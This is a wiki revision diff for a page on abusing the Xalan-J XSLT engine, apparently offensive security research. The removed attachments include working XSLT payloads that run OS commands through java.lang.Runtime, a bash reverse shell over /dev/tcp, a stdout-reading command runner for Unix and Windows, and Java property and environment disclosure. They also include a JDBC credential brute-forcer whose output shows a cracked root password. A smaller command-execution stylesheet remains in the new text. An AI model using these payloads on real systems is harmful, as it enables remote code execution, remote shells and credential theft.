Changes for page Engine_XalanJ
on 2012/01/12 23:12
on 2012/01/11 22:54
Summary
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Page properties (1 modified, 0 added, 0 removed)
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Attachments (0 modified, 0 added, 13 removed)
- properties.xml
- unixcommands.xml
- xalanj-java-date.xsl
- xalanj-java-properties-output.txt
- xalanj-java-properties.xsl
- xalanj-jdbc-bruteforce.xml
- xalanj-jdbc-bruteforce.xsl
- xalanj-jdbc-query.xsl
- xalanj-reading-stdout.lxsl
- xalanj-reading-stdout.txt
- xalanj-reading-stdout.xsl
- xalanj-reverse-bash.xsl
- xalanj-write.xsl
Details
- Page properties
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- Content
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... ... @@ -19,23 +19,15 @@ 19 19 20 20 == Special features == 21 21 22 -* Java properties disclosure 23 -* Java environment disclosure 24 -* Java code execution 25 -* OS command execution 26 26 * File creation 23 +* Code execution 27 27 * JDBC connectivity 25 +* Java properties disclosure 26 +* Java environment disclosure 28 28 29 -== Java properties disclosure == 30 - 31 -The xsl:system-property() standard function can be called with non standard arguments, mapped to Java properties. In this example, the name of the Java properties is stored in a separate XML file ([[properties.xml>>attach:properties.xml]]). The XSLT code will, for each property, display its name and its value. 32 - 33 -|=Namespace|=Function|=PoC|=Sample output 34 -|http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]] 35 - 36 36 == Java environment disclosure == 37 37 38 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context ( including availablepackages, paths, versions, ...).30 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). 39 39 40 40 |=Namespace|=Extension function|=PoC|=Sample output 41 41 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] ... ... @@ -44,67 +44,25 @@ 44 44 45 45 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. 46 46 39 + 47 47 |=Namespace|=Extension function|=PoC|=Sample output 48 -|http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 49 -Wed Jan 11 22:45:07 CET 2012 41 +|http:~/~/xml.apache.org/xalan/java/java.util.Date|new|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: Wed Jan 11 22:45:07 CET 2012 50 50 51 -== OS command execution == 52 52 53 - OnceJava code executionis possible,it is trivial toexecutearbitraryOScommandsusing the java.lang.Runtime class.44 +== Execution of external commands == 54 54 55 - ===Command withoutoutput===46 +The following code will execute the command "touch /tmp/hello" : 56 56 57 -The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 58 - 59 -|=Namespace|=Extension functions|=PoC 60 -|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 61 - 62 -__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 63 - 64 -=== Reading stdout === 65 - 66 -As the output have an unknown number of lines, we must use a __loop__ construct like "while" ... which is not available in XSLT. This limitation is due to the functional programming paradigm but can be circumvented using templates and recursion. This way, we can also __update__ some variables, but the syntax is awful and error prone. 67 - 68 -It's far more efficient to 1) write loops using non-standard elements like <loop:while> and <loop:update> 2) convert them in stylesheets using only templates and recursion. This conversion can be done with a tool like the [[XSLT Loop Compiler>>http://www2.informatik.hu-berlin.de/~~obecker/XSLT/loop-compiler/||rel="__blank"]] (which is itself in XSLT). 69 - 70 -The following PoC will fetch some commands from a XML file, execute them (with bash or cmd.exe depending on the detected OS), read the standard output and display it. The file with a "lxsl" extension uses the non-standard <loop:*> elements and is far more readable than the "xsl" one. 71 - 72 -|=Using non standards elements|=Using recursion and templates|=Commands to execute|=Output 73 -|[[xalanj-reading-stdout.lxsl>>attach:xalanj-reading-stdout.lxsl]]|[[xalanj-reading-stdout.xsl>>attach:xalanj-reading-stdout.xsl]]|[[unix_commands.xml>>attach:unix_commands.xml]]|[[xalanj-reading-stdout.txt>>attach:xalanj-reading-stdout.txt]] 74 - 75 -It is of course possible to include commands for multiples OS in one file and to execute only the relevant ones. 76 - 77 -=== A pure Java reverse-shell === 78 - 79 -It is afaik not possible to get a pure Java reverse-shell, as we can't create threads :-( 80 - 81 -== File creation == 82 - 83 -The "write" extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 84 - 85 -|=Namespace|=Extension element|=Parameter|=PoC 86 -|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]] 87 - 88 -== JDBC connectivity == 89 - 90 -It is possible to use XSLT to connect to any database having a corresponding installed JDBC driver. 91 - 92 -=== Simple connection === 93 - 94 -The [[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] PoC simply connects to a local MySQL database using some hard-coded credentials, executes a query and displays the result. 95 - 96 -|=Namespace|=Extension function|=PoC 97 -|org.apache.xalan.lib.sql.XConnection|new(), query() and close()|[[xalanj-jdbc-query.xsl>>attach:xalanj-jdbc-query.xsl]] 98 - 99 -=== Credentials brute-forcing === 100 - 101 -The [[xalanj-jdbc-bruteforce.xsl>>attach:xalanj-jdbc-bruteforce.xsl]] file will read some tuples (JDBC driver, database URL, username, passsword) from a XML file ([[xalanj-jdbc-bruteforce.xml>>attach:xalanj-jdbc-bruteforce.xml]]) and try to login with each one, effectively brute-forcing credentials from the engine side (usually on the backend ;-). 102 - 103 - 104 -Here's the output when launched from the CLI : 105 - 106 -##$> java org.apache.xalan.xslt.Process -in xalanj-jdbc-bruteforce.xml -xsl xalanj-jdbc-bruteforce.xsl 2> /dev/null 107 -Username : [root] / Password : [] : 108 -Username : [root] / Password : [uberpasswd] : 109 -Username : [root] / Password : [cnam] : OK !! 110 -Username : [pma] / Password : [pma] : ## 48 +<?xml version="1.0"?> 49 +<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 50 + xmlns:j="http:~/~/xml.apache.org/xalan/java" 51 + exclude-result-prefixes="j" 52 + version="1.0"> 53 + <xsl:template match="/"> 54 + <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 55 + <xsl:variable name="a" select="j:split($c, ' = ')"/> 56 + <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 57 + <xsl:variable name="p" select="j:exec($r, $a )"/> 58 + No content at the moment ... 59 + </xsl:template> 60 +</xsl:stylesheet>
- properties.xml
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... ... @@ -1,73 +1,0 @@ 1 -<properties> 2 -<property>awt.toolkit</property> 3 -<property>browser</property> 4 -<property>browser.vendor</property> 5 -<property>browser.version</property> 6 -<property>file.encoding</property> 7 -<property>file.encoding.pkg</property> 8 -<property>file.separator</property> 9 -<property>file.separator.applet</property> 10 -<property>http.agent</property> 11 -<property>java.awt.graphicsenv</property> 12 -<property>java.awt.printerjob</property> 13 -<property>java.class.path</property> 14 -<property>java.class.version</property> 15 -<property>java.class.version.applet</property> 16 -<property>java.endorsed.dirs</property> 17 -<property>java.ext.dirs</property> 18 -<property>java.home</property> 19 -<property>java.io.tmpdir</property> 20 -<property>java.library.path</property> 21 -<property>java.runtime.name</property> 22 -<property>java.runtime.version</property> 23 -<property>java.specification.name</property> 24 -<property>java.specification.vendor</property> 25 -<property>java.specification.version</property> 26 -<property>java.vendor</property> 27 -<property>java.vendor.applet</property> 28 -<property>java.vendor.url</property> 29 -<property>java.vendor.url.applet</property> 30 -<property>java.vendor.url.bug</property> 31 -<property>java.version</property> 32 -<property>java.version.applet</property> 33 -<property>java.vm.info</property> 34 -<property>java.vm.name</property> 35 -<property>java.vm.specification.name</property> 36 -<property>java.vm.specification.vendor</property> 37 -<property>java.vm.specification.version</property> 38 -<property>java.vm.vendor</property> 39 -<property>java.vm.version</property> 40 -<property>javax.accessibility.assistive_technologies</property> 41 -<property>line.separator</property> 42 -<property>line.separator.applet</property> 43 -<property>os.arch</property> 44 -<property>os.arch.applet</property> 45 -<property>os.name</property> 46 -<property>os.name.applet</property> 47 -<property>os.version</property> 48 -<property>os.version.applet</property> 49 -<property>package.restrict.definition.java</property> 50 -<property>package.restrict.definition.sun</property> 51 -<property>path.separator</property> 52 -<property>path.separator.applet</property> 53 -<property>sun.arch.data.model</property> 54 -<property>sun.boot.class.path</property> 55 -<property>sun.boot.library.path</property> 56 -<property>sun.cpu.endian</property> 57 -<property>sun.cpu.isalist</property> 58 -<property>sun.desktop</property> 59 -<property>sun.io.unicode.encoding</property> 60 -<property>sun.java.launcher</property> 61 -<property>sun.jnu.encoding</property> 62 -<property>sun.management.compiler</property> 63 -<property>sun.os.patch.level</property> 64 -<property>user.country</property> 65 -<property>user.dir</property> 66 -<property>user.home</property> 67 -<property>user.language</property> 68 -<property>user.name</property> 69 -<property>user.timezone</property> 70 -<property>user.variant</property> 71 -<property>user.zoneinfo.dir</property> 72 -</properties> 73 -
- unixcommands.xml
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... ... @@ -1,8 +1,0 @@ 1 -<data> 2 -<command>id</command> 3 -<command>date</command> 4 -<command>ifconfig lo</command> 5 -<command>tree /var/cache/apt</command> 6 -<command>uname -a</command> 7 -</data> 8 -
- xalanj-java-date.xsl
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... ... @@ -1,11 +1,0 @@ 1 -<xsl:stylesheet version="1.0" 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 - exclude-result-prefixes="date"> 5 - <xsl:output method="text"/> 6 - <xsl:template match="/"> 7 - <xsl:variable name="dateObject" select="date:new()"/> 8 - <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 - </xsl:template> 10 -</xsl:stylesheet> 11 -
- xalanj-java-properties-output.txt
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... ... @@ -1,73 +1,0 @@ 1 -<?xml version="1.0" encoding="UTF-8"?> 2 -awt.toolkit: 3 -browser: 4 -browser.vendor: 5 -browser.version: 6 -file.encoding: UTF-8 7 -file.encoding.pkg: sun.io 8 -file.separator: / 9 -file.separator.applet: 10 -http.agent: 11 -java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment 12 -java.awt.printerjob: sun.print.PSPrinterJob 13 -java.class.path: /usr/share/java/xalan2.jar:/usr/share/java/xml-apis.jar:/usr/share/java/xercesImpl.jar:/usr/share/java/serializer.jar:/usr/share/java/xsltc.jar 14 -java.class.version: 50.0 15 -java.class.version.applet: 16 -java.endorsed.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/endorsed 17 -java.ext.dirs: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/ext:/usr/java/packages/lib/ext 18 -java.home: /usr/lib/jvm/java-6-sun-1.6.0.26/jre 19 -java.io.tmpdir: /tmp 20 -java.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386/client:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/../lib/i386:/usr/java/packages/lib/i386:/lib:/usr/lib 21 -java.runtime.name: Java(TM) SE Runtime Environment 22 -java.runtime.version: 1.6.0_26-b03 23 -java.specification.name: Java Platform API Specification 24 -java.specification.vendor: Sun Microsystems Inc. 25 -java.specification.version: 1.6 26 -java.vendor: Sun Microsystems Inc. 27 -java.vendor.applet: 28 -java.vendor.url: http://java.sun.com/ 29 -java.vendor.url.applet: 30 -java.vendor.url.bug: http://java.sun.com/cgi-bin/bugreport.cgi 31 -java.version: 1.6.0_26 32 -java.version.applet: 33 -java.vm.info: mixed mode, sharing 34 -java.vm.name: Java HotSpot(TM) Client VM 35 -java.vm.specification.name: Java Virtual Machine Specification 36 -java.vm.specification.vendor: Sun Microsystems Inc. 37 -java.vm.specification.version: 1.0 38 -java.vm.vendor: Sun Microsystems Inc. 39 -java.vm.version: 20.1-b02 40 -javax.accessibility.assistive_technologies: 41 -line.separator: 42 - 43 -line.separator.applet: 44 -os.arch: i386 45 -os.arch.applet: 46 -os.name: Linux 47 -os.name.applet: 48 -os.version: 2.6.32-37-generic 49 -os.version.applet: 50 -package.restrict.definition.java: 51 -package.restrict.definition.sun: 52 -path.separator: : 53 -path.separator.applet: 54 -sun.arch.data.model: 32 55 -sun.boot.class.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/resources.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/rt.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/sunrsasign.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jsse.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/jce.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/charsets.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/modules/jdk.boot.jar:/usr/lib/jvm/java-6-sun-1.6.0.26/jre/classes 56 -sun.boot.library.path: /usr/lib/jvm/java-6-sun-1.6.0.26/jre/lib/i386 57 -sun.cpu.endian: little 58 -sun.cpu.isalist: 59 -sun.desktop: gnome 60 -sun.io.unicode.encoding: UnicodeLittle 61 -sun.java.launcher: SUN_STANDARD 62 -sun.jnu.encoding: UTF-8 63 -sun.management.compiler: HotSpot Client Compiler 64 -sun.os.patch.level: unknown 65 -user.country: FR 66 -user.dir: /home/bob/foobar 67 -user.home: /home/bob 68 -user.language: fr 69 -user.name: bob 70 -user.timezone: 71 -user.variant: 72 -user.zoneinfo.dir: 73 -
- xalanj-java-properties.xsl
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... ... @@ -1,7 +1,0 @@ 1 -<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" > 2 - <xsl:template match="//property"> 3 - <xsl:variable name="p" select="text()"/> 4 - <xsl:value-of select="$p"/>: <xsl:value-of select="system-property($p)"/> 5 - </xsl:template> 6 -</xsl:stylesheet> 7 -
- xalanj-jdbc-bruteforce.xml
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... ... @@ -1,35 +1,0 @@ 1 -<data> 2 - <foobar> 3 - <DBINFO> 4 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 5 - <dburl>jdbc:mysql://localhost/</dburl> 6 - <user>root</user> 7 - <password></password> 8 - </DBINFO> 9 - </foobar> 10 - <foobar> 11 - <DBINFO> 12 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 13 - <dburl>jdbc:mysql://localhost/</dburl> 14 - <user>root</user> 15 - <password>uberpasswd</password> 16 - </DBINFO> 17 - </foobar> 18 - <foobar> 19 - <DBINFO> 20 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 21 - <dburl>jdbc:mysql://localhost/</dburl> 22 - <user>root</user> 23 - <password>cnam</password> 24 - </DBINFO> 25 - </foobar> 26 - <foobar> 27 - <DBINFO> 28 - <dbdriver>com.mysql.jdbc.Driver</dbdriver> 29 - <dburl>jdbc:mysql://localhost/</dburl> 30 - <user>pma</user> 31 - <password>pma</password> 32 - </DBINFO> 33 - </foobar> 34 -</data> 35 -
- xalanj-jdbc-bruteforce.xsl
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... ... @@ -1,29 +1,0 @@ 1 -<?xml version="1.0"?> 2 - 3 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 4 - version="1.0" 5 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 6 - extension-element-prefixes="sql"> 7 - 8 -<xsl:output method="text" indent="yes"/> 9 -<xsl:variable name="query">SELECT "OK !!"</xsl:variable> 10 - 11 -<xsl:template match="//data"> 12 - <xsl:for-each select="foobar"> 13 - 14 - <xsl:variable name="cinfo" select="DBINFO"/> 15 - <xsl:variable name="user" select="DBINFO/user/text()"/> 16 - <xsl:variable name="passwd" select="DBINFO/password/text()"/> 17 - 18 - <xsl:variable name="db" select="sql:new($cinfo)"/> 19 - <xsl:variable name="data" select='sql:query($db, $query)'/> 20 - 21 - <xsl:copy-of select="concat('Username : [', $user, '] / ')" /> 22 - <xsl:copy-of select="concat('Password : [', $passwd, '] : ')" /> 23 - <xsl:copy-of select="$data" /><xsl:copy-of select="'
'" /> 24 - 25 - </xsl:for-each> 26 -</xsl:template> 27 - 28 -</xsl:stylesheet> 29 -
- xalanj-jdbc-query.xsl
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... ... @@ -1,22 +1,0 @@ 1 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 - xmlns:sql="org.apache.xalan.lib.sql.XConnection" 3 - extension-element-prefixes="sql" 4 - version="1.0"> 5 - 6 -<xsl:output method="xml" indent="yes"/> 7 - 8 -<xsl:param name="driver" select="'com.mysql.jdbc.Driver'"/> 9 -<xsl:param name="dburl" select="'jdbc:mysql://localhost/test_db'"/> 10 -<xsl:param name="user" select="'root'"/> 11 -<xsl:param name="pass" select="'14m31337'"/> 12 -<xsl:param name="query" select="'SELECT uid,username,passwd FROM users'"/> 13 - 14 -<xsl:template match="/"> 15 - <xsl:variable name="dbh" select="sql:new($driver, $dburl, $user, $pass)"/> 16 - <xsl:variable name="table" select='sql:query($dbh, $query)'/> 17 - <xsl:copy-of select="$table" /> 18 - <xsl:value-of select="sql:close($db)"/> 19 -</xsl:template> 20 - 21 -</xsl:stylesheet> 22 -
- xalanj-reading-stdout.lxsl
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... ... @@ -1,93 +1,0 @@ 1 -<?xml version="1.0"?> 2 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:j="http://xml.apache.org/xalan/java" 4 - xmlns:bufferedreader="xalan://java.io.BufferedReader" 5 - xmlns:inputstreamreader="xalan://java.io.InputStreamReader" 6 - xmlns:process="xalan://java.lang.Process" 7 - xmlns:runtime="xalan://java.lang.Runtime" 8 - xmlns:loop="http://informatik.hu-berlin.de/loop" 9 - exclude-result-prefixes="j" 10 - version="1.0"> 11 - 12 - <!-- Configure the output --> 13 - <xsl:output method="text" /> 14 - <xsl:strip-space elements="*" /> 15 - 16 - <!-- Some variables --> 17 - <xsl:variable name="rt" select="runtime:getRuntime()"/> 18 - <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/> 19 - <xsl:variable name="unix_shell" select="'/bin/bash'"/> 20 - <xsl:variable name="unix_option" select="'-c'"/> 21 - <xsl:variable name="win_shell" select="'cmd.exe'"/> 22 - <xsl:variable name="win_option" select="'/C'"/> 23 - <xsl:variable name="delim" select="' -=DELIM=- '"/> 24 - 25 - <!-- The main template --> 26 - <xsl:template match="//command"> 27 - 28 - <!-- Fetch from the XML file --> 29 - <xsl:variable name="command" select="text()"/> 30 - 31 - <!-- Check the underlying OS --> 32 - <xsl:variable name="tmp"> 33 - <xsl:choose> 34 - <xsl:when test="contains($os, 'indows')"> 35 - <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/> 36 - </xsl:when> 37 - <xsl:otherwise> 38 - <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/> 39 - </xsl:otherwise> 40 - </xsl:choose> 41 - </xsl:variable> 42 - <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/> 43 - 44 - <!-- Create the process and its streams --> 45 - <xsl:variable name="array" select="j:split($cmd, $delim)"/> 46 - <xsl:variable name="proc" select="runtime:exec($rt, $array)"/> 47 - <xsl:variable name="inputstream" select="process:getInputStream($proc)"/> 48 - <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/> 49 - <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/> 50 - 51 - <!-- Print the detected OS --> 52 - <xsl:text>OS [</xsl:text> 53 - <xsl:value-of select="$os"/> 54 - <xsl:text>] ...
</xsl:text> 55 - 56 - <!-- Print the executed command --> 57 - <xsl:text>Executing [</xsl:text> 58 - <xsl:value-of select="$command"/> 59 - <xsl:text>] ...
</xsl:text> 60 - 61 - <!-- Prepare the loop --> 62 - <xsl:variable name="cond" select="1" /> 63 - <xsl:variable name="result" select="N/A" /> 64 - <loop:while test="$cond"> 65 - 66 - <!-- Read a line --> 67 - <loop:do> 68 - <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/> 69 - <xsl:variable name="class" select="j:toString(j:getClass($line))"/> 70 - <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/> 71 - <!-- Debug code 72 - <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>
</xsl:text> 73 - <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>
</xsl:text> 74 - --> 75 - </loop:do> 76 - 77 - <!-- Print the result --> 78 - <loop:last> 79 - <!-- Debug code 80 - <xsl:text>Result:</xsl:text> 81 - <xsl:text>
</xsl:text> 82 - --> 83 - <xsl:value-of select="$result"/> 84 - </loop:last> 85 - 86 - <!-- Update the global variables --> 87 - <loop:update name="cond" select="$continue"/> 88 - <loop:update name="result" select="concat($result, $line, '
')"/> 89 - 90 - </loop:while> 91 - </xsl:template> 92 -</xsl:stylesheet> 93 -
- xalanj-reading-stdout.txt
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... ... @@ -1,40 +1,0 @@ 1 -OS [Linux] ... 2 -Executing [id] ... 3 -uid=1000(nic0b) gid=1000(nic0b) groupes=20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(nic0b) 4 - 5 -OS [Linux] ... 6 -Executing [date] ... 7 -jeudi 12 janvier 2012, 22:58:55 (UTC+0100) 8 - 9 -OS [Linux] ... 10 -Executing [ifconfig lo] ... 11 -lo Link encap:Boucle locale 12 - inet adr:127.0.0.1 Masque:255.0.0.0 13 - adr inet6: ::1/128 Scope:Hôte 14 - UP LOOPBACK RUNNING MTU:16436 Metric:1 15 - Packets reçus:7830 erreurs:0 :0 overruns:0 frame:0 16 - TX packets:7830 errors:0 dropped:0 overruns:0 carrier:0 17 - collisions:0 lg file transmission:0 18 - Octets reçus:1543564 (1.5 MB) Octets transmis:1543564 (1.5 MB) 19 - 20 - 21 -OS [Linux] ... 22 -Executing [tree /var/cache/apt] ... 23 -/var/cache/apt 24 -|-- apt-file 25 -| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid_Contents-i386.gz 26 -| |-- fr.archive.ubuntu.com_ubuntu_dists_lucid-updates_Contents-i386.gz 27 -| `-- security.ubuntu.com_ubuntu_dists_lucid-security_Contents-i386.gz 28 -|-- archives 29 -| |-- lock 30 -| `-- partial 31 -|-- pkgcache.bin 32 -`-- srcpkgcache.bin 33 - 34 -3 directories, 6 files 35 - 36 -OS [Linux] ... 37 -Executing [uname -a] ... 38 -Linux testbox4 2.6.32-37-generic #81-Ubuntu SMP Fri Dec 2 20:35:14 UTC 2011 i686 GNU/Linux 39 - 40 -
- xalanj-reading-stdout.xsl
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- Author
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... ... @@ -1,1 +1,0 @@ 1 -xwiki:XWiki.NicolasGregoire - Size
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... ... @@ -1,1 +1,0 @@ 1 -5.1 KB - Content
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... ... @@ -1,82 +1,0 @@ 1 -<?xml version="1.0" encoding="iso-8859-1"?> 2 -<!-- 3 - 4 - File generated by translating loops into recursive template calls. 5 - XSLT Loop Compiler, Version 1.0 6 - GPL (c) O. Becker 7 - 8 - --> 9 -<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" xmlns:bufferedreader="xalan://java.io.BufferedReader" xmlns:inputstreamreader="xalan://java.io.InputStreamReader" xmlns:process="xalan://java.lang.Process" xmlns:runtime="xalan://java.lang.Runtime" xmlns:loop="http://informatik.hu-berlin.de/loop" exclude-result-prefixes="j" version="1.0"> 10 - 11 - <!-- Configure the output --> 12 - <xsl:output method="text"/> 13 - <xsl:strip-space elements="*"/> 14 - 15 - <!-- Some variables --> 16 - <xsl:variable name="rt" select="runtime:getRuntime()"/> 17 - <xsl:variable name="os" select="j:java.lang.System.getProperty('os.name')"/> 18 - <xsl:variable name="unix_shell" select="'/bin/bash'"/> 19 - <xsl:variable name="unix_option" select="'-c'"/> 20 - <xsl:variable name="win_shell" select="'cmd.exe'"/> 21 - <xsl:variable name="win_option" select="'/C'"/> 22 - <xsl:variable name="delim" select="' -=DELIM=- '"/> 23 - 24 - <!-- The main template --> 25 - <xsl:template match="//command"> 26 - 27 - <!-- Fetch from the XML file --> 28 - <xsl:variable name="command" select="text()"/> 29 - 30 - <!-- Check the underlying OS --> 31 - <xsl:variable name="tmp"> 32 - <xsl:choose> 33 - <xsl:when test="contains($os, 'indows')"> 34 - <xsl:value-of select="concat($win_shell, $delim, $win_option, $delim, $command)"/> 35 - </xsl:when> 36 - <xsl:otherwise> 37 - <xsl:value-of select="concat($unix_shell, $delim, $unix_option, $delim, $command)"/> 38 - </xsl:otherwise> 39 - </xsl:choose> 40 - </xsl:variable> 41 - <xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/> 42 - 43 - <!-- Create the process and its streams --> 44 - <xsl:variable name="array" select="j:split($cmd, $delim)"/> 45 - <xsl:variable name="proc" select="runtime:exec($rt, $array)"/> 46 - <xsl:variable name="inputstream" select="process:getInputStream($proc)"/> 47 - <xsl:variable name="inputstreamreader" select="inputstreamreader:new($inputstream)"/> 48 - <xsl:variable name="bufferedreader" select="bufferedreader:new($inputstreamreader)"/> 49 - 50 - <!-- Print the detected OS --> 51 - <xsl:text>OS [</xsl:text> 52 - <xsl:value-of select="$os"/> 53 - <xsl:text>] ... 54 -</xsl:text> 55 - 56 - <!-- Print the executed command --> 57 - <xsl:text>Executing [</xsl:text> 58 - <xsl:value-of select="$command"/> 59 - <xsl:text>] ... 60 -</xsl:text> 61 - 62 - <!-- Prepare the loop --> 63 - <xsl:variable name="cond" select="1"/> 64 - <xsl:variable name="result" select="N/A"/> 65 - <axslt:call-template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$cond"/><axslt:with-param name="result" select="$result"/></axslt:call-template> 66 - </xsl:template> 67 -<axslt:template xmlns:axslt="http://www.w3.org/1999/XSL/Transform" name="while-loop-id2496582"><axslt:param name="command"/><axslt:param name="tmp"/><axslt:param name="cmd"/><axslt:param name="array"/><axslt:param name="proc"/><axslt:param name="inputstream"/><axslt:param name="inputstreamreader"/><axslt:param name="bufferedreader"/><axslt:param name="cond"/><axslt:param name="result"/><axslt:choose><axslt:when test="$cond"> 68 - <xsl:variable name="line" select="bufferedreader:readLine($bufferedreader)"/> 69 - <xsl:variable name="class" select="j:toString(j:getClass($line))"/> 70 - <xsl:variable name="continue" select="j:equals($class, 'class java.lang.String')"/> 71 - <!-- Debug code 72 - <xsl:text>Line: </xsl:text><xsl:value-of select="$line"/> <xsl:text>
</xsl:text> 73 - <xsl:text>Loop : </xsl:text><xsl:value-of select="$continue"/> <xsl:text>
</xsl:text> 74 - --> 75 - <axslt:call-template name="while-loop-id2496582"><axslt:with-param name="command" select="$command"/><axslt:with-param name="tmp" select="$tmp"/><axslt:with-param name="cmd" select="$cmd"/><axslt:with-param name="array" select="$array"/><axslt:with-param name="proc" select="$proc"/><axslt:with-param name="inputstream" select="$inputstream"/><axslt:with-param name="inputstreamreader" select="$inputstreamreader"/><axslt:with-param name="bufferedreader" select="$bufferedreader"/><axslt:with-param name="cond" select="$continue"/><axslt:with-param name="result" select="concat($result, $line, ' ')"/></axslt:call-template></axslt:when><axslt:otherwise> 76 - <!-- Debug code 77 - <xsl:text>Result:</xsl:text> 78 - <xsl:text>
</xsl:text> 79 - --> 80 - <xsl:value-of select="$result"/> 81 - </axslt:otherwise></axslt:choose></axslt:template></xsl:stylesheet> 82 -
- xalanj-reverse-bash.xsl
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- Author
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... ... @@ -1,31 +1,0 @@ 1 -<xsl:stylesheet 2 - xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 - xmlns:jv="http://xml.apache.org/xalan/java" 4 - exclude-result-prefixes="jv" 5 - version="1.0"> 6 - 7 - <xsl:template match="/"> 8 - 9 - <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 - <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 - <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 - <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 - 14 -Objet "String" : 15 - <xsl:value-of select="$test"/> 16 - 17 -Objet "Array" : 18 - <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 - <xsl:value-of select="$aAsString"/> 20 - 21 -Objet "Runtime" : 22 - <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 - <xsl:value-of select="$rtobjectAsString"/> 24 - 25 -Objet "Process" : 26 - <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 - <xsl:value-of select="$processAsString"/> 28 - 29 - </xsl:template> 30 -</xsl:stylesheet> 31 -
- xalanj-write.xsl
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- Author
